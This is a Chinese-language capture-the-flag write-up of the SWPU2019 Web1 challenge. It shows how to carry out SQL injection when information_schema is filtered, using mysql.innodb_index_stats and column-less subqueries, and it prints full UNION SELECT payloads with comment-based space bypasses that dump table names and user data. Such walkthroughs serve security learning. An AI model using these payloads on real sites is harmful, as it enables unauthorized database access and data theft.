[SWPU2019]Web1 sql注入过滤了information 无列名查询

记录一道过滤 or 导致无法使用 information_schema.tables的题目

前置知识

过滤information

在sql的时候其实很想知道 如果information_schmea.tables被过滤 那我是不是就完全sql不来了

这里就遇到了

主要是 mysql中还存在着其他的表可以查询

例如 mysql数据库中的 innodb_index_stats

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第1张图片

还有sys数据库中的schema_auto_increment_columns

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第2张图片

但是这个题目不存在

所以我们还是使用mysql.innodb_index_stats

无列名查询

因为mysql.innodb_index_stats不存在列名 所以我们只能通过无列明查询

其实这个我们在sql注入已经会了 就是select 1,2,3,4

但是意义不一样

我们来看看

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第3张图片

之前判断字段是无法回显字符的

我们把它作为一个表来返回

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第4张图片

这里通过联合查询 就可以将 数据返回

但是我们有的时候只需要其中一个 我们就可以将其作为一个表 然后去查询他

例如

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第5张图片

这样我们就取得了 第二列的数据了

个人觉得还是很好理解的

做题

首先我们得到了这个网站

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第6张图片

想去试试弱口令 无果

只能通过注册去注册一个了

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第7张图片

只存在两个功能点 一个是发布公告

我们去看看有什么用处

发现发布后可以进行查看详情 查询

那我们是不是可以通过sql来(这里是看wp的 思维跳跃太大了没想到是sql注入)

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第8张图片

发现过滤了 空格 我们直接/**/绕过

确定了是sql注入 但是没有实现闭合 我们研究了一下 是最后还有个单引号 所以我们在最后加一个单引号让他为空字符

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第9张图片

报错说字段错误 我们就开始尝试了

经过尝试

22个字段 真的多。。。。。

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

我们可以开始查询了

爆数据库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第10张图片

爆破表

1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'

[SWPU2019]Web1 sql注入过滤了information 无列名查询_第11张图片

爆破值 (无列名查询)

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这样就爆破出了值了

你可能感兴趣的:(BUUctf,oracle,数据库)